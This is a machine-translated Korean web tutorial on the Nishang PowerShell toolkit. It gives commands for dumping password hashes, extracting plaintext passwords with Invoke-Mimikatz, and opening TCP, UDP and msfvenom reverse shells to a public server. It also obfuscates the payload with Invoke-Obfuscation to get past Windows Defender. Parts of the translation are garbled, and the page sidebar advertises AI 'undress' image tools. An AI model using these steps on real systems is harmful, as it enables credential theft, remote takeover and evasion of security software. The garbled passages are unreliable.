목차
Nishang 소개
비밀번호 캡처의 물결
포트 리바운드의 물결
운영 및 유지보수 안전 PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

May 13, 2023 am 10:58 AM
powershell nishang

초기 PowerShell, 먼저 개념을 이해해 보겠습니다. PowerShell은 Windows 플랫폼의 스크립트 언어인 cmd(bat 스크립트 언어)의 업그레이드 버전으로 간주할 수 있습니다. 이는 객체 지향적이며 .Net FrameWork와 밀접하게 관련되어 있습니다. Windows의 bash 쉘로도 간주할 수 있습니다. Windows PowerShell은 명령줄 사용자와 스크립터가 .NET Framework의 강력한 기능을 활용할 수 있도록 하는 명령줄 셸 및 스크립팅 환경입니다. Windows 명령 프롬프트 및 Windows 호스트 환경에서 얻은 지식과 스크립트를 더욱 확장하는 매우 유용한 새로운 개념을 많이 소개합니다. 코드는 메모리에서 실행되며 디스크에 닿지 않습니다. 대부분의 보안 제품은 cmd.exe의 실행을 감지할 수 없지만 PowerShell은 그렇지 않습니다. 실제로 침투 테스트 과정에서 일부 보호 소프트웨어를 우회해야 하는데, 스크립트나 기타 도구를 우회하는 것 외에도 PoweShell 도구도 좋은 선택입니다. 예를 들어, 우리는 대상 호스트에서 마법의 mimikatz를 캡처하기 위해 암호를 사용합니다. 프랑스 전문가가 작성한 이 마법의 도구는 모든 사람이 더 일반적으로 사용합니다. 가장 놀라운 점은 활성 Windows의 일반 텍스트 암호를 직접 얻을 수 있다는 것입니다. lsass.exe의 계정. 하지만 살인을 피하는 일을 잘하지 않으면 특정 살인 없는 가족 버킷을 직접 통과하게 될 것입니다. Powershell을 사용하면 공격자는 디스크를 건드리지 않고도 명령을 실행할 수 있습니다. 다음은 일반적으로 사용되는 몇 가지 도구입니다.

Nishang 소개

Nishang은 PowerShell 기반 침투 테스트를 위한 특수 도구로, 비밀번호 잡기, 포트 검색, 권한 상승 등과 같은 스크립트와 다양한 페이로드를 통합합니다. 이 도구는 일일 침투 테스트에서 초보자가 자주 사용합니다. 먼저 이 도구를 다운로드해야 합니다. 다운로드 주소는 https://github.com/samratashok/nishang입니다. 다운로드한 후 다음 도구에 포함된 내용을 확인할 수 있습니다

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

실험 환경은 침투 테스트 프로세스에서 일반적으로 사용되는 모듈을 시연하는 데 사용됩니다. 시연에 앞서 스크립트 실행에 대한 권한 문제, 모듈 가져오기 문제 등 powershell 도구를 실행할 때 발생하는 몇 가지 일반적인 오류에 대해 설명해야 합니다.

Powershell은 처음 모듈을 가져올 때 기본 정책이 허용되지 않기 때문에 허용하지 않습니다. 이때 이를 허용하도록 실행 정책을 변경해야 하는데 이를 원격 서명이라고 합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

현재 실행 정책이 무엇인지 확인해 보겠습니다. 제한됨은 관리자 권한이 있어도 어떤 스크립트도 실행할 수 없습니다. 권한을 수정하고

Set-ExecutionPolicy 원격 서명을 실행해야 합니다. 현재 실행 정책을 다시 쿼리하면 원격 서명이 허용되며 나타나는 경고 메시지는 무시됩니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

실행하여 가져온 모듈의 스크립트 정보 보기: Get-Command -Module nishang

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이 머신의 정보 나열: Get-Information

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이제 실행도 제공합니다. 권한이 수정되었습니다. 데모 여행을 시작하겠습니다.

비밀번호 캡처의 물결

서버를 받으면 대상 호스트가 물리적 머신인지 가상 머신인지 알아야 합니다. Check-VM

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

우선, nishang 또한 비밀번호를 캡처하는 스크립트를 통합합니다. 먼저 해시 값을 캡처합니다.

#Get-PassHashes //간단하고 직접 캡처하여 dos 인터페이스에 표시합니다.

#powershell –exec 우회 –Command "& {Import -Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //해시 값을 가져와 사용자 지정 문서에 저장합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

해시 값을 캡처할 수 있으므로 일반 텍스트 비밀번호도 캡처할 수 있습니다. 먼저 비밀번호를 캡처하는 스크립트를 살펴보겠습니다. Mimikatz 도구도 사용되지만 Powershell 스크립트에 로드될 뿐입니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

다음 명령을 사용하여 일반 텍스트 비밀번호를 얻을 수 있습니다.

#powershell –exec 우회 –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz }" 현재 시스템 사용자의 일반 텍스트 비밀번호를 직접 캡처해 보세요. (가장 많이 사용하는 명령어)

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

포트 리바운드의 물결

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

침투 테스트 중 포트 포워딩을 하던 중, 패밀리 버킷, nclcxsockes 에이전트 등을 죽이는 일련의 현상을 만났습니다. .때때로 그분은 죽임을 당하시고 잘려지셨습니다. 그러면 이때 nishang에서 포트 전달 스크립트를 사용할 수 있습니다. 내장된 포트 전달을 소개하는 것 외에도 여기서는 공용 네트워크 서버가 필요한 MSF를 사용한 포트 전달도 실험합니다.

1. TCP 포트 전달(역방향 연결)

공용 네트워크 서버에서 수신 대기 명령 실행: nc -lvp 5555

대상 호스트는 포트 전달 명령 Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx를 실행합니다. .115 - 포트 5555

이런 방식으로 대상 호스트와 공용 네트워크에서 각각 명령을 실행한 후 공용 네트워크 서버가 쉘을 바운스하여 인트라넷 서버의 명령을 실행할 수 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

2. UDP 포트 전달(역방향 연결)

공용 네트워크 서버에서 수신 명령 실행: nc -lup 6666

대상 호스트는 포트 전달 명령 Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx .xxx.115 -포트 6666

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

순방향 연결 외에도 순방향 연결도 침투 테스트에 자주 사용합니다. . 이제 포트 전달에 powershell과 MSF를 사용합니다. 먼저 MSF에 powershell 모듈이 있는지 확인하는 명령을 사용합니다.

##msfvenom -l payloads |grep 'reverse_powershell //powershell 모듈의 위치를 ​​쿼리합니다. .

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

MSF를 사용하여 리바운드 포트를 생성하는 명령을 생성합니다.

##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //페이로드 생성, 다음을 입력합니다. Powershell 이며 빨간색으로 표시된 부분은 대상 호스트에서 실행해야 하는 명령입니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

다음 단계는 대상 호스트에서 방금 생성한 powershell 명령을 실행하고 공용 서버에서 포트 9999를 수신하는 것입니다. 이러한 방식으로 대상 호스트의 쉘을 공용 네트워크 서버로 성공적으로 바운스할 수 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

우리가 생성하는 일반 페이로드는 Windows Defender에서 검사하므로 이 검사 메커니즘을 우회해야 하기 때문에 난독화를 사용하여 대상 호스트에서 Windows Defender를 우회할 수 있는 방법도 생각해 보겠습니다. 위의 페이로드를 난독화하여 Windows Defender를 우회하는 예로 들어보겠습니다. 때로는 대상 호스트에서 직접 생성한 일반 페이로드를 실행하는데 Windows Defender가 이를 직접 가로챌 수도 있습니다. 난독화 도구는 의심할 바 없이 Daniel Bohannon이 제공하는 Invoke-Obfuscation입니다. 프로젝트의 Github 페이지를 찾을 수 있습니다.

먼저 Invoke-Obfuscation 도구를 시작합니다.

Import-Module ./Invoke-Obfuscation.psd1 //Invoke-Obfuscation.psd1 가져오기;

Invoke-Obfuscation //Invoke-Obfuscation 도구 시작;

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이제 방금 생성한 포트 전달 페이로드를 난독화하겠습니다. 먼저 다양한 난독화 방법의 매개변수를 살펴보겠습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

페이로드의 어떤 부분을 난독화해야 하는지 미리 지정해야 합니다. 이는 다음 명령을 통해 수행할 수 있습니다.

Set scriptblock 'payload';

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

전체 명령을 문자열로 난독화하도록 선택합니다. (구체적인 선택은 특정 침투 테스트 환경을 기반으로 함):

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

ASCII 난독화를 위해 1을 선택합니다. 출력을 보려면 1.ps1을 입력합니다. 이 명령은 현재 디렉터리에 난독화된 파일을 저장하는 것과 동일합니다. 1로 끝납니다. ps1:

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

이 스크립트를 대상 호스트에서 실행합니다. 공용 네트워크 서버는 포트 9999를 수신하고 인트라넷 호스트의 셸을 성공적으로 바운스할 수도 있습니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

powershell과 cobaltstrike 도구는 다릅니다.

Cobalt Strike는 포트 전달, 서비스 검색, 자동화된 오버플로, 다중 모드 포트 모니터링, exe, powershell 트로이 목마 생성을 통합하는 Metasploit 기반 GUI 프레임워크 침투 테스트 도구입니다. , 등. 이 도구는 인트라넷 침투를 위한 강력한 도구이기도 합니다. 우리는 powershell과 Cobalt Strike가 어떤 종류의 스파크에 영향을 미칠 수 있는지에 대해 이야기하고 있습니다.

Cobalt Strike를 클라이언트와 서버에 각각 설치한 다음 이 도구를 시작해야 합니다.

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법

먼저 포트를 수신하고 공용 IP 주소를 호스트 주소로 쓴 다음 powershell이 ​​명령을 생성하고 대상 호스트에서 이 명령을 실행하면 대상 호스트가 온라인 상태가 되고 원격으로 비밀번호를 캡처하고 권한을 에스컬레이션하고 모니터링 및 기타 작업을 수행할 수 있습니다. 솔직히 말해서, 제가 여기서 만든 두 가지 도구는 단지 약간의 스파크일 뿐이며 관심 있는 전문가는 이 도구를 인트라넷 침투에 더 많이 사용할 수 있습니다.

위 내용은 PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25 : Myrise에서 모든 것을 잠금 해제하는 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

시스템에 열려 있는 ISO 파일을 삭제할 수 없습니다: 해결 방법 시스템에 열려 있는 ISO 파일을 삭제할 수 없습니다: 해결 방법 Apr 16, 2023 pm 02:25 PM

ISO 파일이란 무엇입니까? ISO 파일은 DVD나 CD와 같은 광 디스크의 정확한 복사본을 포함하는 파일입니다. 이러한 유형의 디스크 이미지는 컴퓨터에 설치될 수 있으며 컴퓨터에 광학 드라이브가 연결되어 있고 해당 드라이브에 데이터가 들어 있는 CD 또는 DVD가 삽입되어 있는 것처럼 나타납니다. ISO 파일은 자신이 생성된 DVD 또는 CD의 새 복사본을 굽는 데 사용하거나 단순히 다운로드하기 쉬운 단일 파일에 많은 수의 파일을 포함하는 데 사용할 수도 있습니다. ISO 파일은 용량이 꽤 큰 경우가 많습니다. 작업을 마친 후에는 다음을 수행하고 싶을 것입니다.

Windows 11에서 관리자 권한으로 PowerShell을 여는 방법 Windows 11에서 관리자 권한으로 PowerShell을 여는 방법 May 10, 2023 pm 06:40 PM

Windows 11에서 관리자로 PowerShell을 여는 방법 상승된 권한 또는 관리자 수준 권한으로 PowerShell을 실행하면 Windows 설치 파일에 사용되는 명령과 같이 Windows 파일 보호를 우회하는 명령을 실행할 수 있습니다. PowerShell을 직접 열거나 기본적으로 PowerShell을 사용하여 명령을 실행하는 새 Windows 터미널 애플리케이션을 열어 PowerShell을 실행할 수 있습니다. Windows 11에서 관리자로 PowerShell 열기: 시작 메뉴를 열고 powershell 또는 터미널을 입력합니다. 오른쪽에서

PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법 PowerShell 침투 테스트 도구인 Nishang을 사용하는 방법 May 13, 2023 am 10:58 AM

초기 PowerShell, 먼저 개념을 이해해 보겠습니다. PowerShell은 Windows 플랫폼의 스크립트 언어인 cmd(bat 스크립트 언어)의 업그레이드 버전으로 간주할 수 있습니다. 이는 객체 지향적이며 .NetFrameWork와 밀접하게 관련되어 있습니다. Windows의 bashshell이라고도 생각할 수 있습니다. Windows PowerShell은 명령줄 사용자와 스크립트 작성자가 .NET Framework의 강력한 기능을 활용할 수 있도록 하는 명령줄 셸 및 스크립팅 환경입니다. Windows 명령 프롬프트 및 WindowsHost 환경에서 얻을 수 있는 기능을 더욱 확장하여 매우 유용한 여러 가지 새로운 개념을 소개합니다.

수정: Windows 11/10에서 PowerShell을 열 수 없거나 PowerShell 작동이 중지되었습니다. 수정: Windows 11/10에서 PowerShell을 열 수 없거나 PowerShell 작동이 중지되었습니다. Apr 24, 2023 pm 07:49 PM

많은 사용자가 Windows PowerShell이 ​​작동을 멈추거나 전혀 열리지 않는 문제를 보고했습니다. PowerShell 작동이 중지되었다는 메시지가 표시되는 가장 일반적인 이유 중 하나는 컴퓨터에 숨겨진 바이러스가 있다는 것입니다. 그러면 시스템 속도가 느려지고 시스템의 다른 프로세스가 작동하지 않게 됩니다. 오류 메시지는 이 문제의 원인에 대한 정보를 제공하지 않으므로 해결이 어렵습니다. PowerShell이 ​​실행되지 않거나 PC에서 문제가 발생하여 짜증이 난다면 이 문서가 도움이 될 것입니다. 이 문서에서는 이 오류를 해결하는 데 사용할 수 있는 몇 가지 해결 방법에 대해 설명했습니다. 수정 1 – Windows PowerShell 비활성화 및 다시 활성화 1. Ctr 사용

HRESULT 0x80073D02 문제가 해결되면서 PowerShell 배포가 실패함 HRESULT 0x80073D02 문제가 해결되면서 PowerShell 배포가 실패함 May 10, 2023 am 11:02 AM

스크립트를 실행할 때 PowerShell에서 "Add-AppxPackage: 배포에 실패했습니다. HRESULT: 0x80073D02, 패키지가 수정하는 리소스가 현재 사용 중이므로 패키지를 설치할 수 없습니다. 오류 0x80073D02..."라는 오류 메시지가 표시됩니까? 오류 메시지에 나와 있듯이 이는 이전 프로세스가 실행되는 동안 사용자가 하나 또는 모든 WindowsShellExperienceHost 응용 프로그램을 다시 등록하려고 할 때 발생합니다. 이 문제를 신속하게 해결할 수 있는 몇 가지 간단한 솔루션이 있습니다. 수정 1 – 경험 호스트 프로세스 종료 powershell 명령을 실행하기 전에 종료해야 합니다

Windows 11에서 관리자 계정을 활성화하는 방법 Windows 11에서 관리자 계정을 활성화하는 방법 Apr 15, 2023 pm 07:46 PM

PowerShell을 사용하여 Windows 11에서 관리자 계정을 활성화 또는 비활성화하는 방법 Windows 11에서 관리자 계정을 활성화하는 가장 빠른 방법 중 하나는 PowerShell을 사용하는 것입니다. 최신 Windows 터미널을 사용할 수도 있고 원하는 경우 이전 명령 프롬프트(cmd) 도구를 사용할 수도 있습니다. 이미 관리자 권한이 있는 사용자 계정에서 이러한 명령을 실행해야 합니다. 표준 사용자 계정을 사용하는 경우 이 도구를 실행하려면 다른 사용자 계정으로 전환해야 합니다. Windows 11에서 PowerShell을 사용하여 관리자 계정을 활성화하려면: 시작 버튼을 클릭하거나 Windows 키를 눌러 엽니다.

Windows 11에서 Git을 설치하고 사용하는 방법 Windows 11에서 Git을 설치하고 사용하는 방법 May 28, 2023 am 08:08 AM

입력하려면 클릭하세요: ChatGPT 도구 플러그인 탐색 목록 Git은 가장 널리 사용되는 버전 제어 시스템 중 하나입니다. 이를 통해 파일에 대한 모든 변경 사항을 추적하여 필요한 경우 쉽게 이전 버전으로 되돌릴 수 있습니다. Git을 사용하면 로컬 리포지토리와 원격 리포지토리를 모두 보유할 수 있어 다른 사람들이 협업하도록 장려하고 모든 변경 사항을 단일 소스로 중앙 집중화할 수 있습니다. Windows 11에 Git을 설치하기 위한 전제 조건 시작하기 전에 Windows에 Git을 설치하기 위한 몇 가지 전제 조건이 있습니다. 명령줄 도구(예: CMD 또는 PowerShell)에 액세스할 수 있는 Windows 계정에 대한 관리자 권한 Git 사용자 이름 및 비밀번호(선택 사항) Ubuntu에서 자주 사용하는 텍스트 편집기 WSL

파워셸과 cmd의 차이점은 무엇입니까 파워셸과 cmd의 차이점은 무엇입니까 Jan 11, 2023 pm 02:23 PM

차이점: 1. Cmd를 실행할 때는 1M 미만의 메모리만 차지합니다. PowerShell을 사용할 때는 약 20M의 메모리를 차지합니다. 2. Cmd는 구문 강조를 지원하지 않지만 PowerShell은 지원합니다. 3. Cmd를 사용하여 좀 더 복잡하고 시간이 많이 걸리는 명령을 실행할 때 명령줄 창을 마음대로 끌면 창의 내용은 여전히 ​​동일하게 유지될 수 있지만 PowerShell은 그렇지 않습니다. 4. Cmd는 .net 라이브러리의 명령만 사용할 수 있으며 Linux 명령도 사용할 수 없습니다.

See all articles